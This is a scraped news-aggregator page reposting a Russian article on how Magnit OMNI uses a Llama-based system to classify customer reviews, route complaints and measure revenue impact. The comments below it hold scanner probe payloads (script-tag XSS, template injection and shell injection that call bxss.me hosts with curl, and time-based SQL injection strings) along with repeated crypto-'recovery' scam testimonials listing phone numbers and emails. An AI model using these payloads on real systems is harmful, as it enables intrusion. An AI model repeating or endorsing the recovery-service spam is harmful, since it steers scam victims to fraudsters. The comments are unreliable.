Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Как мы научили ИИ превращать отзывы в деньги

Привет, Хабр! Меня зовут Артём Гриппа, я руковожу направлением продуктов поддержки клиентских отзывов в Магнит OMNI. Сегодня хочу рассказать о том, как команды моего направления — клиентских отзывов и платформы опросов — вместе с нашими стейкхолдерами создали систему работы с клиентской обратной связью, которая влияет на бизнес-результаты. Не просто собирает красивые метрики для отчётов, а превращает каждый отзыв в конкретные действия и, что немаловажно, в дополнительную выручку. Причём речь идёт не о паре сотен отзывов, которые можно прочитать за чашкой кофе, а о полутора сотнях тысяч ежедневных комментариев, которые физически невозможно обработать без автоматизации.

Почему вообще мы решили, что обратная связь — это важно

Начнём с того, что Магнит — это не просто сеть продуктовых магазинов, хотя многие нас знают именно в этом качестве. Внутри у нас целая экосистема: покупатели заказывают продукты через приложение, получают бургеры из фастфуда с доставкой, находят уникальные товары на нашем маркетплейсе, копят бонусы Магнит Плюс, которые потом тратят на следующие покупки. И каждая из этих точек взаимодействия генерирует обратную связь — от простой оценки покупки до развёрнутого комментария о работе конкретного магазина или качестве отдельного товара.

В начале 2024 года мы собирали примерно две тысячи отзывов в день. Казалось бы, неплохо для начала, но если посмотреть на масштабы нашей сети — капля в море. Мы задались простым, но фундаментальным вопросом: «А есть ли вообще связь между тем, что клиенты пишут в отзывах, их лояльностью и нашей выручкой? Или это всё красивые слова про customer experience, за которыми не стоят реальные деньги?»

Провели серию экспериментов, A/B-тестов, покопались в данных и обнаружили интересную закономерность. Оказалось, что всего лишь один процент трансформации клиентов из критиков в промоутеры даёт нам десятки миллионов рублей дополнительной выручки в месяц. Причём механика простая и понятная: промоутеры тратят в среднем на 41% больше денег за месяц и на 40% чаще приходят в наши магазины. То есть довольный клиент — это не абстрактная ценность для презентаций, а вполне конкретные деньги в кассе.

После этого открытия стало понятно, что нужно масштабировать сбор обратной связи и научиться с ней работать. За полтора года мы увеличили количество собираемых отзывов в 75 раз — со скромных 2 тысяч до 150 тысяч в день. Это пятнадцать миллионов отзывов в квартал, если кому-то проще воспринимать большие числа.

Проблема масштаба, или Почему человек не может прочитать «Войну и мир» несколько раз за день

Представьте себе ситуацию: у вас есть 150 тысяч отзывов в день, из которых примерно половина содержит развёрнутые текстовые комментарии. Это не просто число — это миллионы часов чтения, если пытаться обработать всё вручную. Для сравнения, это как прочитать «Войну и мир» несколько раз туда-обратно за один день, причём не просто прочитать, а ещё и проанализировать, классифицировать, выделить проблемы и предложить решения.

Что происходило на практике? Клиенты писали отзывы, мы отвечали стандартным «спасибо за ваш отзыв», и на этом всё заканчивалось. Бизнес не получал выводов о реальных проблемах в магазинах, руководители не понимали, что конкретно нужно исправлять, а клиенты чувствовали, что их мнение никому не интересно. Классический замкнутый круг: люди перестают давать обратную связь, потому что не видят результата, а мы теряем обратную связь и не можем улучшать сервис, выручка не растёт, все недовольны.

Стало очевидно, что нужно технологическое решение, которое сможет не просто собирать отзывы, но и превращать их в понятную для бизнеса информацию. Посмотрели на рынок, изучили доступные технологии и поняли — пришло время больших языковых моделей.

ИИ-диагност: как научить машину понимать, что клиенту не нравится

Первым нашим решением на основе LLM стал так называемый ИИ-диагност. Название, конечно, маркетинговое, но суть передаёт точно: система диагностирует проблемы на основе текстовых комментариев клиентов. Модель классифицирует каждый отзыв по восьмидесяти параметрам — от глобальных вещей вроде ассортимента и наличия товаров до таких деталей, как чистота полок, внешний вид кассира или удобство парковки.

Под капотом у нас работает Llama3.1-Instruct 70B, правда, в квантовании int4 — такая модель занимает примерно 40-50 гигабайтов, что позволяет эффективно использовать вычислительные ресурсы. Инференсим модель на мощностях Yandex Cloud. Чтобы минимизировать ошибки классификации, добавляем в промт много fewshot-примеров, а для стандартизации результатов применяем эмбеддер. В этом, кстати, одно из преимуществ работы с LLM: дообучение не требуется, достаточно изменить промт по мере необходимости, и модель начинает работать по-новому.

Так выглядит разбивка по сантименту отзывов
Так выглядит разбивка по сантименту отзывов

Но классификация — это только половина дела. Модель также определяет сантимент каждого комментария: позитивный, негативный или нейтральный. Это важно, потому что одно дело, когда клиент пишет «парковка неудобная, но терпимо», и совсем другое — «из-за вашей парковки больше ни ногой в магазин». Формально оба комментария про парковку, но уровень критичности проблемы разный.

Качество классификации мы оцениваем по взвешенному F1 score, который у нас составляет около 90%. Для валидации используем подготовленные разметчиками тестовые данные. Долю ошибок первого и второго рода при определении критичных проблем удалось снизить до менее чем 6% — особо тщательно подходим к настройке промптов именно для таких случаев. Что касается ограничений по длине текста, то модель спокойно обрабатывает комментарии до 32 тысяч токенов, или примерно 8 тысяч слов. Для отзывов это более чем достаточно — даже самые развёрнутые жалобы редко превышают пару тысяч слов.

Все эти данные в режиме реального времени попадают в нашу «приборную панель» — дашборд для управления клиентским сервисом. Теперь директор магазина или региональный управляющий может открыть систему и за пару минут понять, что происходит в конкретной точке. Например, увидеть, что в магазине «Ромашка» в Сочи резко выросло количество жалоб на доступность касс, а в Твери клиенты массово недовольны чистотой в торговом зале. Причём это не абстрактные «клиенты недовольны», а конкретные числа: сколько человек пожаловалось, насколько критично они настроены, как это соотносится с прошлыми периодами.

Каждому руководителю доступен дашборд с подробной детализацией отзывов по магазину
Каждому руководителю доступен дашборд с подробной детализацией отзывов по магазину

ИИ-терапевт: замыкаем обратную связь, или Как перестать игнорировать клиентов

Казалось бы, проблему решили: научились понимать, о чём пишут клиенты, донесли информацию до бизнеса. Но тут всплыла новая проблема, и узнали мы о ней из тех же отзывов. Люди начали писать в духе «да никто эти отзывы не читает», «директору магазина всё равно», «лучше сразу в Роспотребнадзор писать, чтобы хоть кто-то отреагировал».

Стало понятно, что мало просто анализировать отзывы, нужно замыкать обратную связь, показывать клиенту, что его услышали и приняли меры. Так появился ИИ-терапевт — вторая модель в нашей системе, которая не просто классифицирует отзыв, но и запускает цепочку конкретных действий.

Работает это следующим образом: клиент оставляет отзыв о проблеме, допустим, жалуется на неприятный запах в торговом зале. Модель классифицирует комментарий, определяет его критичность и автоматически создаёт задачу для магазина. Магазин получает уведомление, проводит необходимые мероприятия — в нашем примере дезинфекцию — и отчитывается в системе о выполнении. После этого контактный центр связывается с клиентом удобным для него способом и сообщает, какие конкретно меры были приняты.

Так изменился цикл обратной связи с использованием ИИ-решения Магнита
Так изменился цикл обратной связи с использованием ИИ-решения Магнита

Важный момент: это не шаблонные ответы в духе «мы приняли к сведению вашу жалобу». Клиент получает конкретную информацию: «По вашему обращению 5 августа 2024 года была проведена полная дезинфекция торгового зала и складских помещений магазина. Приносим извинения за доставленные неудобства». Человек видит, что его услышали, поняли проблему и решили её.

Сейчас ответы формируются на основе шаблонов, но мы уже тестируем внутри команды RAG (Retrieval Augmented Generation) для более персонализированных ответов. Правда, в боевом контуре эту технологию пока не используем — хотим убедиться, что она действительно даёт существенный прирост качества коммуникации.

Пример работы системы по принципу нового цикла обратной связи с использованием ИИ в Магните
Пример работы системы по принципу нового цикла обратной связи с использованием ИИ в Магните

Эффект от внедрения этой системы мы тоже измерили через A/B-тесты. Оказалось, что клиенты, получившие обратную связь на свой отзыв, показывают существенный рост среднего чека и чаще возвращаются именно в тот магазин, где решили их проблему. То есть правильно выстроенная работа с негативом не только не отпугивает клиентов, но и повышает их лояльность.

Проблема покрытия: почему QR-коды не сработали, а голосовой ассистент — да

Когда основная система заработала, мы заметили интересную особенность: около 30% магазинов стабильно недополучали отзывы. При этом не было очевидной корреляции с географией, форматом магазина или другими параметрами — просто в некоторых точках люди не давали обратную связь.

Первая гипотеза была простой: не все клиенты пользуются мобильным приложением, через которое мы в основном собирали обратную связь. Может быть, это те самые покупатели, которые приходят, видят что-то неприятное и уходят без покупки, не имея возможности пожаловаться. Решение казалось очевидным: разместить QR-коды с призывом оценить магазин в местах с высоким трафиком.

Развесили коды, запустили кампанию, и отзывы действительно пошли. Радость длилась недолго: когда начали читать комментарии, стало понятно, что отзывы оставляют не покупатели, а сотрудники магазинов. Узнать их было несложно: слишком уж восторженно они описывали работу своих коллег и качество обслуживания в родном магазине. От этой идеи пришлось отказаться, смысла в накрутке отзывов нет никакого, кроме красивых чисел в отчётах.

Обновлённая система сбора отзывов в Магнит OMNI
Обновлённая система сбора отзывов в Магнит OMNI

Вернулись к технологичным решениям и запустили сразу два инструмента. Первый — голосовой ИИ-ассистент, который собирает обратную связь в ненавязчивой форме, не требуя от клиента сложных действий. Для этого используем не собственную разработку, а готовое ASR/TTS-решение одного из наших основных вендоров автоматизации — зачем изобретать велосипед, когда есть проверенные технологии. Второй инструмент — ML-дирижёр, который анализирует историю взаимодействия конкретного клиента с брендом: как часто он оставляет отзывы, какой формат предпочитает, в какое время наиболее активен. На основе этих данных система решает, когда и как лучше запросить отзыв: через пуш-уведомление, шторку в приложении или другой канал.

Такой персонализированный подход позволил добиться нужного покрытия без навязчивости. Клиент получает запрос на отзыв в удобный момент и в комфортном формате, а мы — качественную обратную связь от реальных покупателей.

Архитектура решения: как всё это работает под капотом

Итоговая система выглядит как оркестр из нескольких компонентов, каждый из которых решает свою задачу. Триггером для запуска процесса служит целевое действие клиента: покупка в магазине или онлайн, просмотр каталога в приложении, получение заказа. Дальше в дело вступает алгоритм, который определяет необходимость запроса отзыва именно для этого клиента в этот момент.

Масштабирование инфраструктуры реализовали через батч-процессинг в Redis. Схема простая и надёжная: запрос приходит через REST API, создаётся задача в очереди, воркер забирает и выполняет её. Архитектурно это два сервиса: первый — веб-API для постановки задач в очередь и возврата результата, второй — воркер, который берёт задачи из очереди и выполняет всю тяжелую работу по анализу текста.

Сейчас система обрабатывает примерно один отзыв за 2-3 секунды. Не молниеносно, но для наших объёмов вполне достаточно. Впрочем, мы уже работаем над переходом на BERT-like модели — в первую очередь для снижения затрат на инфраструктуру. Приятный бонус — скорость обработки вырастет примерно в сто раз, с нынешних 2-3 секунд на текст до каких-то 0,03 секунды. Разрабатываем эти модели на основе данных, которые накопили с помощью LLM, получается своеобразная дистилляция знаний большой модели в более компактную и быструю.

Так выглядит итоговая архитектура
Так выглядит итоговая архитектура

Если решение положительное, то система подбирает оптимальный тип опроса и точку контакта. Это может быть короткая оценка от одной до пяти звёзд, развёрнутый опрос с возможностью оставить комментарий или что-то среднее — зависит от контекста и истории взаимодействия с клиентом.

После получения отзыва включаются большие языковые модели, работающие по двум направлениям. Простые и позитивные отзывы сразу попадают в аналитику — на дашборды для бизнеса, — где агрегируются в понятные метрики и тренды. Сложные и проблемные случаи регистрируются в системе инцидент-менеджмента, проходят через этапы обработки и устранения, после чего клиент получает персонализированный ответ о принятых мерах.

С точки зрения безопасности и соответствия 152-ФЗ всё решено консервативно: практически вся инфраструктура развёрнута в on-premise. Работаем только с текстами комментариев пользователей, персональные данные за контур не передаём. Поскольку работаем в России, обрабатываем комментарии только на русском языке — это упрощает и модель, и процессы модерации.

Важный момент, который хочется отдельно подчеркнуть: мы не пытаемся запихнуть LLM везде, где только можно. Большие языковые модели отлично справляются с семантическим анализом текста, классификацией по множеству параметров, определением тональности. Но там, где задачу эффективнее решает классический ML или простая бизнес-логика, мы используем именно их. Например, для предсказания оптимального момента запроса отзыва традиционные ML-модели работают лучше и быстрее, чем LLM.

Ещё один принцип — стабильность важнее новизны. Модель опирается на промт, который не зависит от версии самой модели, поэтому у нас нет потребности постоянно обновлять версии. Если работает — не трогаем. Для тех задач, где нужна визуальная составляющая, например для модерации фото в товарных отзывах, используем мультимодальные подходы. Но это, скорее, исключение, основной поток — текстовые комментарии.

Эффективность системы измеряем несколькими метриками. Помимо бизнес-показателей, смотрим на F1 score для оценки качества классификации, и долю отзывов с развёрнутыми комментариями от общего количества. Также отслеживаем долю отзывов, по которым удалось замкнуть обратную связь с клиентом. Что касается ROI, то мы не оцениваем каждую модель отдельно — рассматриваем всё решение как единое целое. За счёт роста числа промоутеров и их более высоких LTV-показателей система полностью окупается.

Что в итоге: уроки и планы

За полтора года работы с системой мы пришли к нескольким важным выводам, которые, возможно, будут полезны тем, кто только начинает выстраивать работу с обратной связью.

Во-первых, клиенты действительно готовы давать отзывы, причём развёрнутые и содержательные. Но только если видят, что их мнение не улетает в пустоту, а приводит к реальным изменениям. Формальные ответы убивают желание делиться мнением быстрее, чем полное игнорирование.

Во-вторых, связь между удовлетворённостью клиентов и финансовыми показателями существует, и она измерима. В нашем случае каждый процент трансформации критиков в промоутеры — это десятки миллионов рублей дополнительной выручки. Но чтобы увидеть эту связь, нужны эксперименты, а не просто вера в то, что «клиентоориентированность — это важно».

В-третьих, технологии — это инструмент, а не самоцель. LLM прекрасно решает задачи понимания естественного языка в масштабе, с которым не справится армия аналитиков. Но пытаться применить её везде — всё равно что забивать гвозди микроскопом. Где-то лучше работает классический ML, где-то достаточно простых правил, а где-то вообще нужен человек.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond 